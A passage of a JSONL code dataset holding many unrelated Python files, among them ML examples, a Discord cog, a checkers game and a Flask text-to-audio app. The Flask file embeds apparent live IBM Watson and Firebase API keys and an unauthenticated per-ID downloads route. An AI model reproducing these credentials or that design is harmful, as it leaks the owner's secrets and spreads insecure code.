driver.switch_to.window(driver.window_handles[0])\r\n elif product[6] == \"sony_one.xml\":\r\n descriptions = sony_one()\r\n\r\n if descriptions == -1:\r\n return\r\n\r\n insert_data(raport_lab, product, model, descriptions, brand)\r\n return\r\n","sub_path":"management/2. product_magic.py","file_name":"2. product_magic.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"608186343","text":"from keras.datasets import cifar10\nfrom autokeras.classifier import ImageClassifier\n\nif __name__ == '__main__':\n (x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\n clf = ImageClassifier(verbose=True, augment=True)\n clf.fit(x_train, y_train, time_limit=12 * 60 * 60)\n clf.final_fit(x_train, y_train, x_test, y_test, retrain=True)\n y = clf.evaluate(x_test, y_test)\n print(y * 100)\n","sub_path":"examples/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"407085551","text":"import re\r\nfrom nltk.tokenize import word_tokenize\r\nfrom nltk.corpus import stopwords\r\nfrom collections import Counter\r\n\r\ndef most_common(lst):\r\n return max(set(lst), key=lst.count)\r\n\r\nvar_input = open(\"read.txt\").read()\r\n\r\nvar_input = re.sub(r'[\\W\\s\\d]', ' ', var_input)\r\ninput_tokenized = word_tokenize(var_input, \"english\")\r\nfiltered_words = [word for word in input_tokenized if word not in stopwords.words('english')]\r\n\r\nprint(filtered_words)\r\n\r\nemotion_count=[]\r\n\r\nfor i in range(0,len(filtered_words)):\r\n with open('em.txt') as f:\r\n for line in f:\r\n finaline = line.strip()\r\n keym = re.search(\"'\" + filtered_words[i] + \"':\\s'\", finaline)\r\n if keym:\r\n #print(keym)\r\n valuem = re.findall(\":\\s'.*\", finaline)\r\n newstr = str(valuem)\r\n finalvalue = re.sub(r'[\\W\\s]', ' ', newstr)\r\n emotion_count.append(finalvalue.strip())\r\n\r\n\r\nprint(\"The most common mood is : \"+ most_common(emotion_count))\r\n","sub_path":"emotion.py","file_name":"emotion.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"33217830","text":"from flask import Flask, escape, url_for, request, render_template, redirect, session\nfrom flask_mysqldb import MySQL\nimport time\nimport random\nimport string\nimport hashlib\nimport cv2\nimport os\nfrom werkzeug.utils import secure_filename\nimport logging\nimport pymysql\nimport pyrebase\nimport datetime\nimport html\nimport uuid\nimport gunicorn\nimport secrets\n\nfrom requests import get\nfrom bs4 import BeautifulSoup\nimport sys\nfrom pydub import AudioSegment\nimport pathlib\nfrom gtts import gTTS\nimport ffmpy\nfrom tika import parser\nfrom tempfile import TemporaryFile\nfrom io import BytesIO\nimport json\nfrom ibm_watson import TextToSpeechV1\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\n\nauthenticator = IAMAuthenticator('nCHtrUHEZ7x7Jt2IdEBFWo2NFFR4wUG48z2voRo3RW98')\ntext_to_speech = TextToSpeechV1(\n authenticator=authenticator\n)\ntext_to_speech.set_service_url('https://stream.watsonplatform.net/text-to-speech/api')\n\nconfig = {\n \"apiKey\": \"AIzaSyAiS3FQF1m80-jp9-BLemrnTALqYIFidmQ\",\n \"authDomain\": \"web-to-audio.firebaseapp.com\",\n \"databaseURL\": \"https://web-to-audio.firebaseio.com\",\n \"projectId\": \"web-to-audio\",\n \"storageBucket\": \"web-to-audio.appspot.com\",\n \"messagingSenderId\": \"178178792705\",\n \"appId\": \"1:178178792705:web:36d24f1c6b30105a138f00\",\n \"measurementId\": \"G-GGCV1QY9HD\"}\nfirebase = pyrebase.initialize_app(config)\ndb = firebase.database()\nstorage = firebase.storage()\nauth = firebase.auth()\napp = Flask(__name__,template_folder='templates',static_folder='static')\nkey = secrets.token_urlsafe(16)\napp.config['SECRET_KEY'] = key\nUPLOAD_FOLDER = '/tmp/'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef getTextURL(URL):\n title = \"\"\n read_text = \"\"\n if URL[-4:] == \".pdf\":\n try:\n raw = parser.from_file(URL)\n content = raw['content'].replace(\"\\n\", \" \")\n if len(content.split(\"Abstract\")) == 2:\n content = content.split(\"Abstract\")[1]\n if len(content.split(\"REFERENCES\")) == 2:\n content = content.split(\"REFERENCES\")[0]\n elif len(content.split(\"References\")) == 2:\n content = content.split(\"References\")[0]\n elif len(content.split(\"references\")) == 2:\n content = content.split(\"references\")[0]\n read_text = content\n ft = content[0:40].split(\" \")\n title = \"\"\n for i in range(len(ft)):\n if i == (len(ft)-1):\n title += ft[i]\n break\n title += ft[i]+\"_\"\n \n except:\n return(render_template(\"index.html\",msg=\"This pdf is forbidden\"))\n else: \n response = get(URL)\n html_soup = BeautifulSoup(response.text, 'html.parser') \n ### Title ###\n title = html_soup.find(\"title\")\n ft = title.get_text().split(\" \")\n file_title = \"\"\n for i in range(len(ft)):\n if i == (len(ft)-1):\n file_title += ft[i]\n break\n file_title += ft[i]+\"_\"\n ### Text ###\n text = html_soup.find_all('p')\n read_text = \"\"\n for i in text:\n read_text += i.get_text()\n read_text = read_text.split(\"\\xa0\")\n x = lambda x: \" \".join(x)\n read_text = x(read_text).replace(\"\\n\", \" \")\n \n read_text = read_text.split(\".\")\n read_t = \"\"\n for i in read_text:\n if i[0:2] == \" \":\n read_t += i[1:]\n read_t += \".\"\n elif i[0:1] == \" \":\n read_t += i\n read_t += \".\"\n else:\n j = \" \"+i+\".\"\n read_t += j\n read_text = read_t\n title = file_title\n return(read_text,title)\n\ndef getTextCTRLV(URL):\n ft = URL[0:40].split(\" \")\n title = \"\"\n for i in range(len(ft)):\n if i == (len(ft)-1):\n title += ft[i]\n break\n title += ft[i]+\"_\"\n return(URL,title)\n\ndef getFullText(URL):\n if URL[0:8] == 'https://'or URL[0:7] == 'http://':\n read_text,title = getTextURL(URL)\n return(textToSpeech(read_text,title))\n else:\n read_text,title = getTextCTRLV(URL)\n return(textToSpeech(read_text,title))\n\ndef textToSpeech(read_text,title):\n src = title+\".mp3\"\n src_x = title+\"[1.3x].mp3\"\n voice_list = ['en-US_MichaelV3Voice','en-US_AllisonV3Voice']\n div_num = 4900\n num = int(len(read_text)/div_num)\n base = []\n \n for i in range(num+1):\n with open(app.config['UPLOAD_FOLDER']+'{}.mp3'.format(title+str(i)), 'wb') as audio_file:\n audio_file.write(\n text_to_speech.synthesize(\n read_text[i*div_num:(i+1)*div_num],\n voice=voice_list[0],\n accept='audio/mp3' \n ).get_result().content)\n with open(app.config['UPLOAD_FOLDER']+'{}.mp3'.format(title+str(i)), 'rb') as www:\n base += [www.read()]\n \n bg = base[0]\n for i in range(len(base)-1):\n bg += base[i+1]\n with open(app.config['UPLOAD_FOLDER']+src,\"wb\") as w:\n w.write(bg)\n\n ff = ffmpy.FFmpeg(inputs={app.config['UPLOAD_FOLDER']+src: None}, outputs={app.config['UPLOAD_FOLDER']+src_x: [\"-filter:a\", \"atempo=1.3\"]})\n ff.run()\n\n storage.child(\"audio/\"+src_x).put(app.config['UPLOAD_FOLDER']+src_x)\n audio_play = storage.child(\"audio/\"+src_x).get_url(src_x)\n\n return(audio_play,title)\n \n \n# @app.route('/test',methods=['GET', 'POST'])\n# def tester():\n# read_text = \"what's up dog I've been missing you!\"\n# title = \"yoo_sup_dog\"\n \n \n \n@app.route('/',methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n URL = request.form.get('url',None)\n audio_play,title = getFullText(URL)\n return(render_template(\"index.html\",audio_play=audio_play))\n\n return(render_template(\"index.html\"))\n\n@app.route('/',methods=['GET', 'POST'])\ndef index_log(validID):\n if request.method == 'POST':\n for jjj in range(5):\n try:\n URL = request.form.get('url',None)\n audio_play,title = getFullText(URL)\n db.child(validID).child(\"downloads\").update({str(uuid.uuid1()):{\"title\":title,\"url\":audio_play}})\n return(render_template(\"index.html\",audio_play=audio_play,validID=validID))\n except:\n time.sleep(0.2)\n return(render_template(\"index.html\",validID=validID))\n\n\n@app.route('/fork',methods=['GET', 'POST'])\ndef fork():\n return(render_template(\"fork.html\"))\n\n\n@app.route('/downloads/',methods=['GET', 'POST'])\ndef downloads(validID):\n box = []\n inventory = db.child(validID).get()\n for business in inventory.each():\n box += [business.val()]\n\n final_string = \"\"\n\n try:\n for w in range(len(box[0])):\n jj = list(box[0])[w]\n title = box[0][jj]['title'][0:50]\n url = box[0][jj]['url']\n\n temp_len = int(len(title)/40)\n titl = title.split(\"_\")\n title = \"\"\n for i in titl:\n title+=i\n title+=\" \"\n if len(title) > 40:\n title = title[0:40]+\"...\"\n\n audid = \"audio-\"+str(w)\n final_string += \"
    \".format(title,audid,url)\n\n except:\n pass\n\n if request.method == 'POST':\n text_ = request.form.get('text',None)\n num = int(text_.split(\"-\")[1])\n jj = str(list(box[0])[num])\n db.child(validID).child('downloads').child(jj).remove()\n\n return(render_template(\"downloads.html\",validID=validID,download_files=final_string))\n\n \n \n@app.route('/login',methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n try:\n email = request.form.get('email', None)\n password = request.form.get('password', None)\n\n user_cred = auth.sign_in_with_email_and_password(email,password)\n ID = auth.get_account_info(user_cred['idToken'])['users'][0]['localId']\n \n if not auth.get_account_info(user_cred['idToken'])['users'][0]['emailVerified']:\n return redirect(url_for('email_verify',validID=ID))\n \n for i in range(5):\n try:\n return redirect(url_for('downloads',validID=ID))\n except:\n time.sleep(0.2)\n except:\n return redirect(url_for('login'))\n \n return(render_template(\"login.html\"))\n\n\n@app.route('/signup',methods=['GET', 'POST'])\ndef signup():\n if request.method == 'POST':\n email = request.form.get('email',None)\n password = request.form.get('password',None)\n \n try:\n user_cred = auth.create_user_with_email_and_password(email,password)\n ID = user_cred['localId']\n db.child(ID).update({\"p\":\"p\"})\n return redirect(url_for('email_verify',validID=user_cred['idToken']))\n except:\n return render_template('signup.html')\n \n return(render_template(\"signup.html\"))\n\n\n@app.route('/email_verify/',methods=['GET', 'POST'])\ndef email_verify(validID):\n try:\n auth.send_email_verification(validID)\n except:\n pass\n return render_template('email_verify.html',validID=validID)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"527965419","text":"#! /usr/bin/env python\n\n\ndef solve(size, others):\n others.sort()\n moves = solveM(int(size), others, 0)\n return moves\n\ndef solveM(size, others, moves):\n if not others:\n return moves\n h = int(others[0])\n if (h < size):\n return solveM(size+h, others[1:], moves)\n else:\n A = solveM(size, others[1:], moves+1)\n if size < 2:\n return A\n else:\n B = solveM(size*2-1, others, moves+1)\n return min(A, B)\n\n#\n# MAIN FUNCTION\n#\n\n# open input\nwith open('A-small-attempt1.in', 'r') as f:\n numberCases = f.readline().strip()\n\n for i in range(0, int(numberCases)):\n size, nOthers = f.readline().split()\n others = [int(x) for x in f.readline().split()]\n moves = solve(size, others)\n print(\"Case #\" + str(i+1) + \": \" + str(moves))","sub_path":"solutions_2692487_0/Python/Xurxo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"47391107","text":"import discord\nfrom discord.ext import commands\nimport my_utils as helper\n\n\n# Class handles server configs. Allows a server owner to change the language or prefix of the bot in a server\nclass ConsoleHelp(commands.Cog, name=\"Console Help\"):\n \"\"\"ConsoleHelp\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n\n# Print how many times a person has used each command\n @commands.command(name='console_name')\n async def usage(self, ctx):\n embed = discord.Embed(\n title=\"How to format your console name in PaladinsAssistant.\",\n colour=discord.Color.dark_teal(),\n description=\"\\u200b\"\n )\n\n embed.add_field(name=\"To use a console name you must provide your name and platform surrounded in quotes.\",\n value=\"So for example a console player with the name `zombie killer` who plays on the \"\n \"`Switch` would type their name as follows in the stats command.\\n\\n\"\n \"`>>stats \\\"Zombie Killer Switch\\\"`\\n\\u200b\", inline=False)\n\n embed.add_field(\n name=\"Now if you want to make your life easier I would recommend storing/linking your name to the \"\n \"PaladinsAssistant.\",\n value=\"You can do this by using the `>>console` command to look up your Paladins `player_id` and then\"\n \"using the `>>store` command by doing `>>store your_player_id`. Then in commands you can just use \"\n \"the word `me` in place of your console name and platform.\\n\\u200b\", inline=False)\n\n embed.add_field(name=\"Below are the 3 steps (`with a picture`) of what you need to do if you are directed\"\n \" to use Guru's site to find a console `player_id from the console command.`\",\n value=\"```md\\n\"\n \"1. Use the link generated from the command or go to https://paladins.guru/ and type \"\n \"in the console player's name and then search.\\n\"\n \"2. Locate the account that you want and click on the name.\\n\"\n \"3. Then copy the number right before the player name.\\n\"\n \"4. Congrats you now have the console's players magical number.\\n```\", inline=False)\n\n embed.set_thumbnail(\n url=\"https://raw.githubusercontent.com/EthanHicks1/PaladinsAssistantBot/master/assets/Androxus.png\")\n embed.set_image(\n url=\"https://raw.githubusercontent.com/EthanHicks1/PaladinsAssistantBot/master/assets/Console.png\")\n embed.set_footer(text=\"If you still have questions feel free to message me @ FeistyJalapeno#9045. \"\n \"I am a very busy but will try to respond when I can.\")\n\n await ctx.send(embed=embed)\n\n\n# Add this class to the cog list\ndef setup(bot):\n bot.add_cog(ConsoleHelp(bot))\n","sub_path":"cogs/ConsoleHelp.py","file_name":"ConsoleHelp.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"315312202","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\n\nimport yaml\n\nfrom optimiser import Optimiser\n\n\ndef downcast(input_path, output_dir, schema=None):\n optimiser = Optimiser(\n input_path=input_path,\n output_dir=output_dir,\n schema=schema,\n )\n saved_space: str = optimiser.downcast_df()\n return saved_space\n\n\nif __name__ == \"__main__\":\n # Branified\n command = sys.argv[1]\n input_path = os.environ[\"INPUTPATH\"]\n output_dir = os.environ[\"OUTPUTDIR\"]\n\n # Non-Brane\n # command = \"downcast\"\n # input_path = '../data/penguins.csv'\n # output_dir = '../data/'\n\n # Example schema\n # schema = [\n # ['categorical', 'nominal', ['species', 'island', 'sex'], [\n # ['Adelie', 'Chinstrap', 'Gentoo'], ['Biscoe', 'Dream', 'Torgersen'], ['MALE', 'FEMALE']]\n # ]\n # ]\n\n functions = {\n \"downcast\": downcast,\n }\n output = functions[command](input_path, output_dir)\n print(yaml.dump({\"output\": output}))\n","sub_path":"src/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"98168430","text":"\"\"\" Search functions, including Binary.\"\"\"\n\nfrom sort import BubbleSort\n\"\"\" this from XXYY import AABBB allows me to import a function to be imported from a file.\"\"\"\n\n\n#binary search\ndef main():\n\t#make the list look through, and establish the target value\n\tunsorted_list = [\"E\", \"Z\", \"L\", \"O\", \"B\", \"F\"]\n\ttarget_value = \"B\"\n\n\t# Call the search function, catch what it returns\n\tsorted_list, target_index = binary_search(unsorted_list, target_value)\n\n\t# Print out our solutions\n\n\t#print (\"The unsorted list was: \", unsorted_list)\n\tprint (\"I found \", target_value, \" It's at\", target_index)\n\tprint (\"The sorted list is: \", sorted_list)\n\ndef binary_search(the_list, target_value):\n\t\"\"\"Implements the Binary Search Algorithm\"\"\"\n\n\t#First, sort the list\n\tsorted_list = BubbleSort(the_list)\n\t#print(sorted_list)\n\n\n\t# Search for the target value\n\n\t# Find length of current segment, \n\tlength = len(sorted_list)\n\t\n\t# intialize start and end variables\n\tstart = 0\n\tend = length\n\n\t# if length of segment is >= 1, look for target:\n\twhile length >= 1:\n\n\t\t# find the current mid point of the segment we are looking within\n\t\tmid = start + (length // 2)\n\n\t\t# Determine if middle value is greater than, or less than, or equal to the target value - this will be an if statement in order to accomodate the or conditions\n\t\t# If equal: target found, return middle.\n\t\tif sorted_list[mid] == target_value:\n\t\t\treturn (sorted_list, mid)\n\n\t\t# If mid value is greater than target, reduce segment to left half from middle, and repeat loop.\n\t\telif sorted_list[mid] > target_value:\n\t\t\tend = mid #updates the end of the segment to be the mid of the segment\n\n\t\t\t\n\t\t# If mid value is less than target, reduce segment to right half from middle of sorted list, repeat loop\n\t\telif sorted_list[mid] < target_value:\n\t\t\tstart = mid + 1 \n\t\t\n\t\t# Re-evaluate segment length before the loop runs again. \n\t\tlength = len(sorted_list[start:end])\n\n\t# use -1 \"negative one\" to denote or show that the variable being searched for is not present.\n\t# If we can't find the index, return -1\n\t# in this case, return via a toupled list\n\treturn (sorted_list, -1)\n\t\"\"\"This function is put into place so that if after everything else, things do not work, this message will appear. It is a parachute.\"\"\"\n\n\n\n# Call main to sort the things.\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"Algorithms/Search.py","file_name":"Search.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578124218","text":"from elementy_gry import pionek\nfrom elementy_gry import guzik\nfrom elementy_gry import szachownica\nfrom komunikaty import wyjatki\nfrom komunikaty import messages\nfrom gui import kolory\n\n\n\nclass Ruch:\n \"\"\"reprezentacja ruchu w grze\"\"\"\n def __init__(self, aktualny_gracz, net_buttons, gra, przeciwnik):\n \n self.przeciwnik = przeciwnik\n self.skad = 0 \n self.dokad = 0\n self.ruch =0\n self.zbity = False\n \n self.dozwolony = False\n\n self.z_biciem=False\n self.net_buttons = net_buttons\n self.gracz = aktualny_gracz\n \n self.gra = gra\n \n\n #dla gui\n def zaaktualizuj_ruch(self):\n \"\"\"aktualizuje ruch, aby był widoczny w oknie gry\"\"\"\n self.gra.rysuj_plansze()\n self.gra.get_display().aktualizuj_display()\n \n \n \n #set\n def ustaw_skad_ruch(self, guzik_skad):\n \"\"\"ustawia z jakiego pola jest wykonywany ruch\"\"\"\n self.skad=guzik_skad\n \n def ustaw_dokad_ruch(self, guzik_dokad):\n \"\"\"ustawia na jakie pole pionek zostaje przestawiony\"\"\"\n self.dokad=guzik_dokad\n \n def ustaw_czy_z_biciem(self, value):\n \"\"\"ustawia czy ruch jest z biciem\"\"\"\n self.z_biciem = value \n \n def ustaw_zbity_guzik(self, guzik):\n \"\"\"ustawia, jaki pionek jest zbity, czyli do usunięcia z gry\"\"\"\n self.zbity = guzik\n \n \n \n \n \n \n #funkcje sprawdzajace\n \n def sprawdz_czy_gracz_przegrywa(self): #true jesli przegrywa false jeśli nie prsegrywa i może wykonać ruch\n \"\"\"sprawdza czy w danych ruchu gracz przegrywa, czyli ma brak pionków lub brak ruchu\"\"\"\n if len(self.gracz.get_mozliwe_ruchy_bez_bicia()) + len(self.gracz.get_mozliwe_ruchy_z_biciem())==0:\n self.gracz.ustaw_przegrany(True)\n return True #KONIEC GRY\n \n if len(self.gracz.get_pionki()) ==0:\n self.gracz.ustaw_przegrany(True)\n return True #KONIEC GRY\n \n return False\n \n \n def sprawdz_czy_dozwolony(self, ruch): #tru jesli dozwolony False jesli niedozwolony\n \"\"\"sprawdza czy ruch jest dozwolony\"\"\"\n for mozliwosc in self.gracz.get_mozliwe_ruchy_z_biciem():\n if ruch[0]==mozliwosc[0] and ruch[1]== mozliwosc[1]:\n self.ustaw_czy_z_biciem(True)\n self.ustaw_zbity_guzik(mozliwosc[2]) #guzik\n return True\n \n for mozliwosc in self.gracz.get_mozliwe_ruchy_bez_bicia():\n if ruch[0]==mozliwosc[0] and ruch[1] == mozliwosc[1] and len(self.gracz.get_mozliwe_ruchy_z_biciem())==0:\n return True\n \n return False\n \n \n def czy_kolejne_bicie(self): #zwraca czy bedzie kolejne bicie czy nie\n \"\"\"sprawdza czy aktualny gracz ma mozliwy kolejny ruch z biciem\"\"\"\n if(self.z_biciem == True):\n #to sprawdzamy czy ma kolejne bicie \n \n self.gracz.szukaj_mozliwe_ruchy_z_biciem(self.net_buttons)\n \n #wyczyscic czyli zostawic tylko te dla tego pionka ktory zbijal aktualnie:\n tmp_mozliwe_ruchy_z_biciem = self.gracz.get_mozliwe_ruchy_z_biciem()\n \n for count, mozliwy_ruch_z_biciem in enumerate (self.gracz.get_mozliwe_ruchy_z_biciem()):\n if mozliwy_ruch_z_biciem[0] != self.dokad.get_pionek():\n tmp_mozliwe_ruchy_z_biciem.pop(count)\n \n self.gracz.ustaw_mozliwe_ruchy_z_biciem(tmp_mozliwe_ruchy_z_biciem)\n \n \n if len(self.gracz.get_mozliwe_ruchy_z_biciem())>0: \n return True \n \n return False\n\n \n \n \n \n \n \n #PODSTAWOWA FUNKCJA WYKONYWANIE RUCHU\n \n def pobierz_ruch_uzytkownika(self):\n \"\"\"pobiera ruch użytkownika\"\"\"\n self.gracz.szukaj_mozliwe_ruchy_z_biciem(self.net_buttons)\n self.gracz.szukaj_mozliwe_ruchy_bez_bicia(self.net_buttons)\n \n if self.sprawdz_czy_gracz_przegrywa() == True:\n return False #koniec gry -> ktorys gracz przegral status zakonczenia bez ustawienia reset\n \n \n while(1): \n self.ustaw_skad_ruch(self.wybierz_swoj_pionek()) #albo zwraca guzik albo false gdy reset\n \n #byc moze ktos wcisnal reset\n if(self.skad==False):\n self.gra.resetuj_gre()\n return False #status zakonczenia gry przez reset (False) czyli reset tez ustawiony\n \n #w przeciwnym wypadku gracz wybral prawidlowo pionek wiec idziemy dalej:\n \n self.ustaw_dokad_ruch(self.wybierz_pole(self.skad)) #tutaj nie mozemy gasic guzika wybranego w skad, zwraca guzik lub F if rest\n if(self.dokad==False):\n self.gra.resetuj_gre()\n return False #status zakonczenia gry przez reset (False) czyli reset tez ustawiony\n\n #//// WŁAŚCIWE WYKONYWANIE RUCHU\n \n ruch = [self.skad.get_pionek(), self.dokad]\n self.dozwolony = self.sprawdz_czy_dozwolony(ruch)\n try:\n if self.dozwolony == True:\n self.wykonaj_ruch()\n self.zaaktualizuj_ruch() \n \n #SPRAWDZA CZY KOLEJNE BICIE SKOK JESLI ZBIL KOGOS (uwaga jesli to damka to już nie moze byc kolejnego ruchu!)\n \n if(self.czy_kolejne_bicie()==True and isinstance(self.dokad.get_pionek(), pionek.Zwykly_pionek)): #rekurencja\n ruch_kolejny = Ruch(self.gracz, self.net_buttons, self.gra, self.przeciwnik)\n status = ruch_kolejny.pobierz_ruch_uzytkownika()\n return status #true gdy OK, false gdy RESET LUB false gdy przegral ale tu nie moze przgerac! bo to ewentualny dodatkowy ruch! \n else:\n return True\n\n else:\n raise wyjatki.ErrorRuchNiedozwolony(\"Ruch nie dozwolony! Sprobuj jeszcze raz!\")\n except wyjatki.ErrorRuchNiedozwolony as error0:\n wyjatki.wyswietl_wyjatek(self.gra, self.gracz, error0)\n \n \n \n \n\n\n \n\n\n \n #ważna funkcja wykonująca ruch, a więc zmieniające dane gry na aktualne\n \n\n def wykonaj_ruch(self):\n \"\"\"wykonanie ruchu, czyli zamiana danych na aktualne\"\"\"\n #WYKONANIE RUCHU\n self.skad.get_pionek().ustaw_na_polu(self.dokad) #przenosimy pionek\n self.skad.ustaw_czy_pusty(True, None) #stary guzik robi sie pusty\n\n # EWENTUALNE ZMIANY WYKONANE PO WYKONANIU RUCHU\n if self.z_biciem == True: # to trzeba usunac pionek uzytkownika z pola miedzy stad a dokad\n self.przeciwnik.get_pionki().remove(self.zbity.get_pionek()) #usuwamy ale u przeciwnika!!!!!\n self.zbity.ustaw_czy_pusty(True, None) #stary guzik robi sie pusty \n\n if isinstance(self.dokad.get_pionek(), pionek.Zwykly_pionek) and (self.dokad.get_wiersz_planszy()==0 or self.dokad.get_wiersz_planszy()==7): #zamiana na krolowke\n \n self.dokad.get_pionek().zamien_na_damke(self.gracz.get_pionki())\n\n \n\n\n \n \n #dla GUI (interface użytkownika wybieranie przycisków podczas wykonywania ruchu)\n \n\n def wybierz_swoj_pionek(self):\n \"\"\"wybor pionka w pierwszym etapie wykonania ruchu\"\"\"\n while(1): \n klik=False\n klik = self.gra.get_display().sprawdz_czy_klikniecie()\n mouse = self.gra.get_display().zwroc_pozycje_myszki()\n szereg_guzikow = szachownica.wygeneruj_net_jako_szereg(self.net_buttons)\n \n for guzik in szereg_guzikow:\n najechany = guzik.sprawdz_czy_najechany(mouse[0], mouse[1])\n if(najechany == True):\n guzik.podswietl_button(self.gra.get_display())\n if klik==True:\n prawidlowy = self.sprawdz_czy_prawidlowy_pionek(guzik)\n if prawidlowy==True:\n return guzik #GUZIKA NIE GASIMY!!!!!!! Bo oznacza podniesienie pionka\n else:\n guzik.zgas_button(self.gra.get_display())\n \n if(self.gra.get_reset_button().sprawdz_czy_najechany(mouse[0], mouse[1]) == True):\n self.gra.get_reset_button().podswietl_button(self.gra.get_display())\n if(klik==True):\n return False #gdy przycisnięto reset!!!!! status gry = False \n else:\n self.gra.get_reset_button().zgas_button(self.gra.get_display()) \n self.gra.get_display().aktualizuj_display()\n \n \n \n\n def wybierz_pole(self, wylaczony_guzik):\n \"\"\"wybiera pole w drugim etapie wykonywania ruchu\"\"\"\n while(1): \n klik=False\n klik = self.gra.get_display().sprawdz_czy_klikniecie()\n mouse = self.gra.get_display().zwroc_pozycje_myszki()\n szereg_guzikow = szachownica.wygeneruj_net_jako_szereg(self.net_buttons)\n for guzik in szereg_guzikow: \n najechany = guzik.sprawdz_czy_najechany(mouse[0], mouse[1]) \n if(najechany == True):\n if wylaczony_guzik != guzik:\n guzik.podswietl_button(self.gra.get_display())\n if klik==True: \n return guzik #GUZIKA NIE GASIMY!!!!!!\n else:\n if wylaczony_guzik != guzik:\n guzik.zgas_button(self.gra.get_display())\n self.gra.get_display().aktualizuj_display() \n \n if(self.gra.get_reset_button().sprawdz_czy_najechany(mouse[0], mouse[1]) == True):\n self.gra.get_reset_button().podswietl_button(self.gra.get_display())\n if(klik==True):\n return False #gdy przycisnięto reset!!!!! status gry = False \n else:\n self.gra.get_reset_button().zgas_button(self.gra.get_display()) \n self.gra.get_display().aktualizuj_display() \n \n \n \n \n \n \n \n \n #sprawdza czy gracz wybral w pierwszym etapie swojego ruchu swoj pionek (dla GUI)\n \n def sprawdz_czy_prawidlowy_pionek(self, button):\n \"\"\"sprawdza czy wybrany pionek jest prawidłowy podczas wykonywania ruchu\"\"\"\n try:\n if(button.get_pusty() == True):\n raise wyjatki.ErrorPolePuste(\"Brak twojego pionka!-To pole jest puste!\")\n \n if(button.get_pionek().get_colour() != self.gracz.get_kolor_gracza()):\n raise wyjatki.ErrorPolePrzeciwnika(\"Brak twojego pionka!-To pole przeciwnika!\")\n \n except wyjatki.ErrorPolePuste as error2:\n wyjatki.wyswietl_wyjatek(self.gra, self.gracz, error2 )\n return False \n except wyjatki.ErrorPolePrzeciwnika as error3:\n wyjatki.wyswietl_wyjatek(self.gra, self.gracz, error3)\n return False\n else:\n return True\n \n \n \n \n \n \n \n \n ","sub_path":"elementy_gry/ruch.py","file_name":"ruch.py","file_ext":"py","file_size_in_byte":11523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"7896927","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/spm1d/examples/io/ex_import_txt.py\n# Compiled at: 2019-08-22 04:37:03\n# Size of source mod 2**32: 421 bytes\nimport os, numpy as np\nfrom matplotlib import pyplot\ndir0 = os.path.dirname(__file__)\nfname = os.path.join(dir0, 'data', 'ex_kinematics.txt')\nY = np.loadtxt(fname)\npyplot.close('all')\npyplot.plot((Y.T), color='k')\npyplot.xlabel('Time (%)', size=20)\npyplot.ylabel('$\\\\theta$ (deg)', size=20)\npyplot.show()","sub_path":"pycfiles/spm1d-0.4.2-py3.6/ex_import_txt.cpython-36.py","file_name":"ex_import_txt.cpython-36.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"652999949","text":"import helpers\nfrom combinatorics import factorial\nfrom ints import digitsList\n\nclass Problem034:\n\n def sumsOfDigitalFactorials(self):\n factorials = map(factorial, range(10))\n\n maxPossibleDigits = 1\n while maxPossibleDigits * factorials[9] > 10**maxPossibleDigits:\n maxPossibleDigits += 1\n\n factorialSumToMinDigit = {0 : 0}\n resultSet = set()\n\n for _ in xrange(maxPossibleDigits):\n next = {}\n for (factorialSum, maxDigit) in factorialSumToMinDigit.iteritems():\n for nextDigit in xrange(maxDigit, 10):\n newFactorialSum = factorialSum + factorials[nextDigit]\n if newFactorialSum not in next:\n next[newFactorialSum] = nextDigit\n next[newFactorialSum] = min(next[newFactorialSum], nextDigit)\n factorialSumToMinDigit = next\n\n resultSet.update(\n filter(\n lambda n : n == sum(map(lambda x : factorials[x], digitsList(n))), \n factorialSumToMinDigit.keys()\n )\n )\n\n return resultSet\n\n def sumOfSumsOfDigitalFactorials(self):\n return sum(self.sumsOfDigitalFactorials()) - sum([1, 2])\n\n def solution(self):\n return self.sumOfSumsOfDigitalFactorials()\n\n def test(self):\n assert 145 in self.sumsOfDigitalFactorials()\n\nSolver = Problem034\n","sub_path":"Solutions/Problems 026-050/Problem034.py","file_name":"Problem034.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"481733674","text":"from reportlab.platypus import *\nfrom reportlab.platypus.flowables import Image\nfrom reportlab.lib.styles import getSampleStyleSheet\nfrom reportlab.lib.styles import ParagraphStyle\nfrom reportlab.rl_config import 